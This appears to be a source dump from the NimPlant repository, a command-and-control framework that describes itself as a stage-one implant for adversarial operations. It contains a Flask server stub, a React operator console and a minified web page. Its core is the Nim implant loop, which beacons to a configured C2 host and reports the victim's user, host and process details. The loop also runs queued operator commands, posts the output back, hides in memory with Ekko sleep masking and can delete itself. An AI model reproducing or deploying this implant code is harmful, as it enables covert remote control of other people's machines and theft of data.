| 163 | @app.route("/") 164 | @app.route("/index") 165 | def home(): 166 | return flask.render_template("index.html") 167 | 168 | @app.route("/server") 169 | def server(): 170 | return flask.render_template("server.html") 171 | 172 | @app.route("/nimplants") 173 | def nimplants(): 174 | return flask.render_template("nimplants.html") 175 | 176 | @app.route("/nimplants/details") 177 | def nimplantdetails(): 178 | return flask.render_template("nimplants/details.html") 179 | 180 | @app.route("/") 181 | def catch_all(path): 182 | return flask.render_template("404.html") 183 | 184 | @app.errorhandler(Exception) 185 | def all_exception_handler(error): 186 | return flask.jsonify(status=f"Server error: {error}"), 500 187 | 188 | CORS(app, resources={r"/*": {"origins": "*"}}) 189 | http_server = WSGIServer((server_ip, server_port), app, log=None) 190 | http_server.serve_forever() 191 | -------------------------------------------------------------------------------- /client/NimPlant.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | 3 | NimPlant - A light stage-one payload written in Nim 4 | By Cas van Cooten (@chvancooten) 5 | 6 | ]# 7 | 8 | from random import rand 9 | from strutils import parseBool, parseInt, split 10 | from math import `^` 11 | import tables, times 12 | import util/[functions, strenc, webClient, winUtils] 13 | 14 | when defined sleepmask: 15 | import util/ekko 16 | else: 17 | from os import sleep 18 | 19 | when defined selfdelete: 20 | import util/selfDelete 21 | 22 | var riskyMode = false 23 | when defined risky: 24 | riskyMode = true 25 | 26 | # Parse the configuration at compile-time 27 | let CONFIG : Table[string, string] = parseConfig() 28 | 29 | const version: string = "NimPlant v1.0" 30 | proc runNp() : void = 31 | echo version 32 | 33 | # Get configuration information and create Listener object 34 | var listener = Listener( 35 | killDate: CONFIG[obf("killDate")], 36 | listenerHost: CONFIG[obf("hostname")], 37 | listenerIp: CONFIG[obf("listenerIp")], 38 | listenerPort: CONFIG[obf("listenerPort")], 39 | listenerType: CONFIG[obf("listenerType")], 40 | registerPath: CONFIG[obf("listenerRegPath")], 41 | resultPath: CONFIG[obf("listenerResPath")], 42 | sleepTime: parseInt(CONFIG[obf("sleepTime")]), 43 | sleepJitter: parseInt(CONFIG[obf("sleepJitter")]) / 100, 44 | taskPath: CONFIG[obf("listenerTaskPath")], 45 | userAgent: CONFIG[obf("userAgent")] 46 | ) 47 | 48 | # Set the number of times NimPlant will try to register or connect before giving up 49 | let maxAttempts = 5 50 | var 51 | currentAttempt = 0 52 | sleepMultiplier = 1 # For exponential backoff 53 | 54 | # Handle exponential backoff for failed registrations and check-ins 55 | proc handleFailedRegistration() : void = 56 | sleepMultiplier = 3^currentAttempt 57 | inc currentAttempt 58 | 59 | if currentAttempt > maxAttempts: 60 | when defined verbose: 61 | echo obf("DEBUG: Hit maximum retry count, giving up.") 62 | quit(0) 63 | 64 | when defined verbose: 65 | echo obf("DEBUG: Failed to register with server. Attempt: ") & $currentAttempt & obf("/") & $maxAttempts & obf(".") 66 | 67 | proc handleFailedCheckin() : void = 68 | sleepMultiplier = 3^currentAttempt 69 | inc currentAttempt 70 | 71 | if currentAttempt > maxAttempts: 72 | when defined verbose: 73 | echo obf("DEBUG: Hit maximum retry count, attempting re-registration.") 74 | currentAttempt = 0 75 | sleepMultiplier = 1 76 | listener.initialized = false 77 | listener.registered = false 78 | else: 79 | when defined verbose: 80 | echo obf("DEBUG: Server connection lost. Attempt: ") & $currentAttempt & obf("/") & $maxAttempts & obf(".") 81 | 82 | 83 | # Main loop 84 | while true: 85 | var 86 | cmdGuid : string 87 | cmd : string 88 | args : seq[string] 89 | output : string 90 | timeToSleep : int 91 | 92 | # Check if the kill timer expired, announce kill if registered 93 | # We add a day to make sure the specified date is still included 94 | if parse(listener.killDate, "yyyy-MM-dd") + initDuration(days = 1) < now(): 95 | if listener.cryptKey != "": 96 | listener.killSelf() 97 | 98 | when defined verbose: 99 | echo obf("DEBUG: Kill timer expired. Goodbye cruel world!") 100 | 101 | quit(0) 102 | 103 | # Attempt to register with server if no successful registration has occurred 104 | if not listener.registered: 105 | try: 106 | if not listener.initialized: 107 | # Initialize and check succesful initialization 108 | listener.init() 109 | if not listener.initialized: 110 | when defined verbose: 111 | echo obf("DEBUG: Failed to initialize listener.") 112 | handleFailedRegistration() 113 | 114 | # Register and check succesful registration 115 | if listener.initialized: 116 | listener.postRegisterRequest(getIntIp(), getUsername(), getHost(), getWindowsVersion(), getProcId(), getProcName(), riskyMode) 117 | if not listener.registered: 118 | when defined verbose: 119 | echo obf("DEBUG: Failed to register with server.") 120 | handleFailedRegistration() 121 | 122 | # Succesful registration, reset the sleep modifier if set and enter main loop 123 | if listener.registered: 124 | when defined verbose: 125 | echo obf("DEBUG: Successfully registered with server as ID: ") & $listener.id & obf(".") 126 | 127 | currentAttempt = 0 128 | sleepMultiplier = 1 129 | 130 | except: 131 | handleFailedRegistration() 132 | 133 | # Otherwise, process commands from registered server 134 | else: 135 | # Check C2 server for an active command 136 | (cmdGuid, cmd, args) = listener.getQueuedCommand() 137 | 138 | # If a connection error occured, the server went down or restart - drop back into initial registration loop 139 | if cmd == obf("NIMPLANT_CONNECTION_ERROR"): 140 | cmd = "" 141 | handleFailedCheckin() 142 | else: 143 | currentAttempt = 0 144 | sleepMultiplier = 1 145 | 146 | # If a command was found, execute it 147 | if cmd != "": 148 | when defined verbose: 149 | echo obf("DEBUG: Got command '") & $cmd & obf("' with args '") & $args & obf("'.") 150 | 151 | # Handle commands that directly impact the listener object here 152 | if cmd == obf("sleep"): 153 | try: 154 | if len(args) == 2: 155 | listener.sleepTime = parseInt(args[0]) 156 | var jit = parseInt(args[1]) 157 | listener.sleepJitter = if jit < 0: 0.0 elif jit > 100: 1.0 else: jit / 100 158 | else: 159 | listener.sleepTime = parseInt(args[0]) 160 | 161 | output = obf("Sleep time changed to ") & $listener.sleepTime & obf(" seconds (") & $(toInt(listener.sleepJitter*100)) & obf("% jitter).") 162 | except: 163 | output = obf("Invalid sleep time.") 164 | elif cmd == obf("kill"): 165 | quit(0) 166 | 167 | # Otherwise, parse commands via 'functions.nim' 168 | else: 169 | output = listener.parseCmd(cmd, cmdGuid, args) 170 | 171 | if output != "": 172 | listener.postCommandResults(cmdGuid, output) 173 | 174 | # Sleep the main thread for the configured sleep time and a random jitter %, including an exponential backoff multiplier 175 | timeToSleep = sleepMultiplier * toInt(listener.sleepTime.float - (listener.sleepTime.float * rand(-listener.sleepJitter..listener.sleepJitter))) 176 | 177 | when defined sleepmask: 178 | # Ekko Sleep obfuscation, encrypts the PE memory, set's permissions to RW and sleeps for the specified time 179 | when defined verbose: 180 | echo obf("DEBUG: Sleeping for ") & $timeToSleep & obf(" seconds using Ekko sleep mask.") 181 | ekkoObf(timeToSleep * 1000) 182 | else: 183 | when defined verbose: 184 | echo obf("DEBUG: Sleeping for ") & $timeToSleep & obf(" seconds.") 185 | sleep(timeToSleep * 1000) 186 | 187 | when defined exportDll: 188 | from winim/lean import HINSTANCE, DWORD, LPVOID 189 | 190 | proc NimMain() {.cdecl, importc.} 191 | 192 | proc Update(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : bool {.stdcall, exportc, dynlib.} = 193 | NimMain() 194 | runNp() 195 | return true 196 | 197 | else: 198 | when isMainModule: 199 | when defined selfdelete: 200 | selfDelete.selfDelete() 201 | runNp() -------------------------------------------------------------------------------- /ui/components/Console.tsx: -------------------------------------------------------------------------------- 1 | import { Autocomplete, Button, Group, ScrollArea, Stack } from "@mantine/core"; 2 | import { FaTerminal } from "react-icons/fa"; 3 | import { consoleToText, getCommands } from "../modules/nimplant"; 4 | import { getHotkeyHandler, useFocusTrap, useMediaQuery } from "@mantine/hooks"; 5 | import React, { useEffect, useRef, useState } from "react"; 6 | import InlineExecuteModal from "./modals/Cmd-Inline-Execute"; 7 | import ExecuteAssemblyModal from "./modals/Cmd-Execute-Assembly"; 8 | import UploadModal from "./modals/Cmd-Upload"; 9 | 10 | type ConsoleType = { 11 | allowInput? : boolean 12 | consoleData : any 13 | disabled? : boolean 14 | guid?: string 15 | inputFunction?: (guid: string, command: string) => void 16 | } 17 | 18 | function Console({ allowInput, consoleData, disabled, guid, inputFunction }: ConsoleType) { 19 | const largeScreen = useMediaQuery('(min-width: 800px)'); 20 | 21 | // Define viewport and stickyness as state 22 | const consoleViewport = useRef(); 23 | const [sticky, setSticky] = useState(true) 24 | 25 | // Trap focus on command input by default 26 | const focusTrapRef = useFocusTrap(); 27 | 28 | // Define states 29 | const [autocompleteOptions, setAutocompleteOptions] = useState([]); 30 | const [dropdownOpened, setDropdownOpened] = useState(false); 31 | const [enteredCommand, setEnteredCommand] = useState(''); 32 | const [historyPosition, setHistoryPosition] = useState(0); 33 | const [modalInlineExecOpened, setModalInlineExecOpened] = useState(false); 34 | const [modalExecAsmOpened, setModalExecAsmOpened] = useState(false); 35 | const [modalUploadOpened, setModalUploadOpened] = useState(false); 36 | 37 | // Define dynamic autocomplete options 38 | const {commandList, commandListLoading, commandListError} = getCommands() 39 | 40 | const getCompletions = (): string[] => { 41 | if (enteredCommand === '') return []; 42 | 43 | var completionOptions: string[] = []; 44 | 45 | // Add base command completions 46 | if (!commandListLoading && !commandListError) { 47 | completionOptions = commandList.map((a:any) => a['command']) 48 | } 49 | 50 | // Add history completions, ignore duplicates 51 | Object.keys(consoleData).forEach((key) => { 52 | if (consoleData[key]['taskFriendly'] !== null) { 53 | var value : string = consoleData[key]['taskFriendly'] 54 | if (!completionOptions.includes(value)){ 55 | completionOptions.push(value) 56 | } 57 | 58 | } 59 | }) 60 | 61 | return completionOptions.filter((o) => o.startsWith(enteredCommand) && o != enteredCommand); 62 | } 63 | 64 | // Define a utility function to handle command and clear the input field 65 | const handleSubmit = () => { 66 | if (inputFunction === undefined || guid === undefined) return; 67 | 68 | if (autocompleteOptions.length === 0) setDropdownOpened(false); 69 | else if (dropdownOpened) return; 70 | 71 | // Handle 'modal commands' 72 | if (enteredCommand === 'inline-execute') { 73 | setModalInlineExecOpened(true); 74 | } 75 | else if (enteredCommand === 'execute-assembly') { 76 | setModalExecAsmOpened(true); 77 | } 78 | else if (enteredCommand === 'upload') { 79 | setModalUploadOpened(true); 80 | } 81 | 82 | // Handle other commands 83 | else { 84 | inputFunction(guid, enteredCommand); 85 | } 86 | 87 | // Clear the input field 88 | setHistoryPosition(0); 89 | setEnteredCommand(''); 90 | } 91 | 92 | // Define a utility function to handle command history with up/down keys 93 | const handleHistory = (direction: number) => { 94 | const commandHistory = consoleData.filter((i:any) => i.taskFriendly !== null); 95 | const histLength : number = commandHistory.length 96 | var newPos : number = historyPosition + direction 97 | 98 | // Only allow history browsing when there is history and the input field is empty or matches a history entry 99 | if (histLength === 0) return; 100 | if (!commandHistory.some((i:any) => i.taskFriendly == enteredCommand) && enteredCommand !== '') return; 101 | 102 | // Trigger history browsing only with the 'up' direction 103 | if (historyPosition === 0 && direction === 1) return; 104 | if (historyPosition === 0 && direction === -1) newPos = histLength; 105 | 106 | // Handle bounds, including clearing the input field if the end is reached 107 | if (newPos < 1) newPos = 1; 108 | else if (newPos > histLength) { 109 | setHistoryPosition(0); 110 | setEnteredCommand(''); 111 | return; 112 | }; 113 | 114 | setHistoryPosition(newPos); 115 | setEnteredCommand(commandHistory[newPos-1]['taskFriendly']); 116 | } 117 | 118 | // Set hook for handling manual scrolling 119 | const handleScroll = (pos: { x: number; y: number; }) => { 120 | if (consoleViewport.current?.clientHeight === undefined) return; 121 | if (pos.y + consoleViewport.current?.clientHeight === consoleViewport.current?.scrollHeight){ 122 | setSticky(true); 123 | } else { 124 | setSticky(false); 125 | } 126 | } 127 | 128 | // Define 'sticky' functionality to only auto-scroll if user was already at bottom 129 | const scrollToBottom = () => { 130 | consoleViewport.current?.scrollTo({ top: consoleViewport.current?.scrollHeight, behavior: 'smooth' }); 131 | } 132 | 133 | // Scroll on new input if sticky 134 | useEffect(() => { 135 | if (sticky) scrollToBottom(); 136 | }) 137 | 138 | // Recalculate autocomplete options 139 | useEffect(() => { 140 | setAutocompleteOptions(getCompletions()); 141 | }, [enteredCommand, commandListLoading, consoleData]) 142 | 143 | return ( 144 | ({ 146 | height: 'calc(100vh - 275px)', 147 | display: 'flex', 148 | })} 149 | > 150 | {/* Modals */} 151 | 152 | 153 | 154 | 155 | {/* Code view window */} 156 | ({ 158 | fontSize: '14px', 159 | width: '100%', 160 | flex: '1', 161 | border: '1px solid', 162 | borderColor: theme.colors.gray[4], 163 | borderRadius: '4px', 164 | minHeight: 0, 165 | })}> 166 | ({ 170 | fontSize: largeScreen ? '14px' : '12px', 171 | padding: largeScreen ? '14px' : '6px', 172 | whiteSpace: 'pre-wrap', 173 | fontFamily: 'monospace', 174 | color: theme.colors.gray[8], 175 | backgroundColor: theme.colors.gray[0], 176 | height: '100%', 177 | })} 178 | > 179 | {!consoleData ? "Loading..." : consoleToText(consoleData)} 180 | 181 | 182 | 183 | {/* Command input field */} 184 | 210 | 211 | 212 | ) 213 | } 214 | 215 | export default Console -------------------------------------------------------------------------------- /server/web/static/_next/static/chunks/pages/index-57d3eb7d27124de8.js: -------------------------------------------------------------------------------- 1 | (self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[405],{8312:function(t,e,h){(window.__NEXT_P=window.__NEXT_P||[]).push(["/",function(){return h(584)}])},315:function(t,e,h){"use strict";var x=h(5893),i=h(2623),r=h(1232),s=h(9236);h(7294),e.Z=function(t){let{title:e,icon:h,noBorder:c=!1}=t;return(0,x.jsx)(x.Fragment,{children:(0,x.jsx)(i.X,{p:"xl",pl:50,m:-25,mb:c?0:"md",withBorder:!c,sx:t=>({height:"100px",backgroundColor:t.colors.gray[0]}),children:(0,x.jsxs)(r.Z,{children:[h," ",(0,x.jsx)(s.D,{order:1,children:e})]})})})}},584:function(t,e,h){"use strict";h.r(e),h.d(e,{default:function(){return m}});var x=h(5893),i=h(6817),r=h(4761),s=h(3723),c=h(2445),d=h(9236),g=h(5117),n=h(7841),o=h(5154),w=h(4065),j=h(315);function l(t){let{size:e=185,radius:h=2.5,...i}=t;return(0,x.jsxs)("svg",{"aria-hidden":!0,xmlns:"http://www.w3.org/2000/svg",fill:"currentColor",viewBox:"0 0 185 185",width:e,height:e,...i,children:[(0,x.jsx)("rect",{width:"5",height:"5",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"60",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"120",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"20",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"80",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"140",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"40",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"100",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"160",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"180",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",y:"20",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"60",y:"20",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"120",y:"20",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"20",y:"20",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"80",y:"20",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"140",y:"20",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"40",y:"20",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"100",y:"20",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"160",y:"20",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"180",y:"20",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",y:"40",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"60",y:"40",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"120",y:"40",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"20",y:"40",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"80",y:"40",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"140",y:"40",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"40",y:"40",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"100",y:"40",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"160",y:"40",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"180",y:"40",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",y:"60",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"60",y:"60",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"120",y:"60",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"20",y:"60",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"80",y:"60",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"140",y:"60",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"40",y:"60",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"100",y:"60",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"160",y:"60",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"180",y:"60",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",y:"80",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"60",y:"80",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"120",y:"80",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"20",y:"80",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"80",y:"80",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"140",y:"80",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"40",y:"80",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"100",y:"80",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"160",y:"80",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"180",y:"80",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",y:"100",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"60",y:"100",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"120",y:"100",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"20",y:"100",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"80",y:"100",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"140",y:"100",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"40",y:"100",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"100",y:"100",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"160",y:"100",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"180",y:"100",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",y:"120",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"60",y:"120",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"120",y:"120",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"20",y:"120",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"80",y:"120",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"140",y:"120",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"40",y:"120",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"100",y:"120",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"160",y:"120",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"180",y:"120",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",y:"140",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"60",y:"140",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"120",y:"140",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"20",y:"140",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"80",y:"140",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"140",y:"140",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"40",y:"140",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"100",y:"140",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"160",y:"140",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"180",y:"140",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",y:"160",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"60",y:"160",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"120",y:"160",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"20",y:"160",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"80",y:"160",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"140",y:"160",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"40",y:"160",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"100",y:"160",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"160",y:"160",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"180",y:"160",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",y:"180",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"60",y:"180",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"120",y:"180",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"20",y:"180",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"80",y:"180",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"140",y:"180",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"40",y:"180",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"100",y:"180",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"160",y:"180",rx:h}),(0,x.jsx)("rect",{width:"5",height:"5",x:"180",y:"180",rx:h})]})}h(7294);let y=(0,i.k)(t=>({wrapper:{position:"relative",paddingTop:120,paddingBottom:80,"@media (max-width: 755px)":{paddingTop:80,paddingBottom:60}},inner:{position:"relative",zIndex:1},dots:{position:"absolute",color:"dark"===t.colorScheme?t.colors.dark[5]:t.colors.gray[1],"@media (max-width: 755px)":{display:"none"}},dotsLeft:{left:0,top:0},title:{textAlign:"center",fontWeight:800,fontSize:40,letterSpacing:-1,color:"dark"===t.colorScheme?t.white:t.black,marginBottom:t.spacing.xs,fontFamily:"Greycliff CF, ".concat(t.fontFamily),"@media (max-width: 520px)":{fontSize:28,textAlign:"left"}},description:{textAlign:"center","@media (max-width: 520px)":{textAlign:"left",fontSize:t.fontSizes.md}},controls:{marginTop:t.spacing.lg,display:"flex",justifyContent:"center","@media (max-width: 520px)":{flexDirection:"column"}},control:{"&:not(:first-of-type)":{marginLeft:t.spacing.md},"@media (max-width: 520px)":{height:42,fontSize:t.fontSizes.md,"&:not(:first-of-type)":{marginTop:t.spacing.md,marginLeft:0}}}})),a=()=>{let t=(0,w.a)("(min-width: 800px)"),{classes:e}=y(),h=(0,r.rZ)();return(0,x.jsxs)(x.Fragment,{children:[(0,x.jsx)(j.Z,{title:"Home",icon:(0,x.jsx)(o.xng,{size:"2em"})}),(0,x.jsx)(s.x,{ml:t?"sm":0,mr:t?"md":"sm",mt:"xl",children:(0,x.jsxs)(c.W,{className:e.wrapper,size:1400,children:[(0,x.jsx)(l,{className:e.dots,style:{left:0,top:0}}),(0,x.jsx)(l,{className:e.dots,style:{left:60,top:0}}),(0,x.jsx)(l,{className:e.dots,style:{left:0,top:140}}),(0,x.jsx)(l,{className:e.dots,style:{right:0,top:60}}),(0,x.jsxs)("div",{className:e.inner,children:[(0,x.jsxs)(d.D,{className:e.title,children:["A "," ",(0,x.jsx)(g.x,{component:"span",color:h.primaryColor,inherit:!0,children:"first-stage implant"})," ","for adversarial operations"]}),(0,x.jsx)(c.W,{p:0,size:600,children:(0,x.jsx)(g.x,{size:"lg",color:"dimmed",className:e.description,children:"Nimplant is a lightweight stage-1 implant and C2 server. Get started using the action menu, or check out the Github repo for more information."})}),(0,x.jsxs)("div",{className:e.controls,children:[(0,x.jsx)(n.z,{component:"a",href:"https://github.com/chvancooten/nimplant",target:"_blank",leftIcon:(0,x.jsx)(o.hJX,{}),className:e.control,size:"lg",variant:"default",color:"gray",children:"View on GitHub"}),(0,x.jsx)(n.z,{component:"a",href:"https://twitter.com/chvancooten",target:"_blank",leftIcon:(0,x.jsx)(o.fWC,{}),className:e.control,size:"lg",children:"Follow me on Twitter"})]})]})]})})]})};var m=a}},function(t){t.O(0,[968,845,774,888,179],function(){return t(t.s=8312)}),_N_E=t.O()}]); --------------------------------------------------------------------------------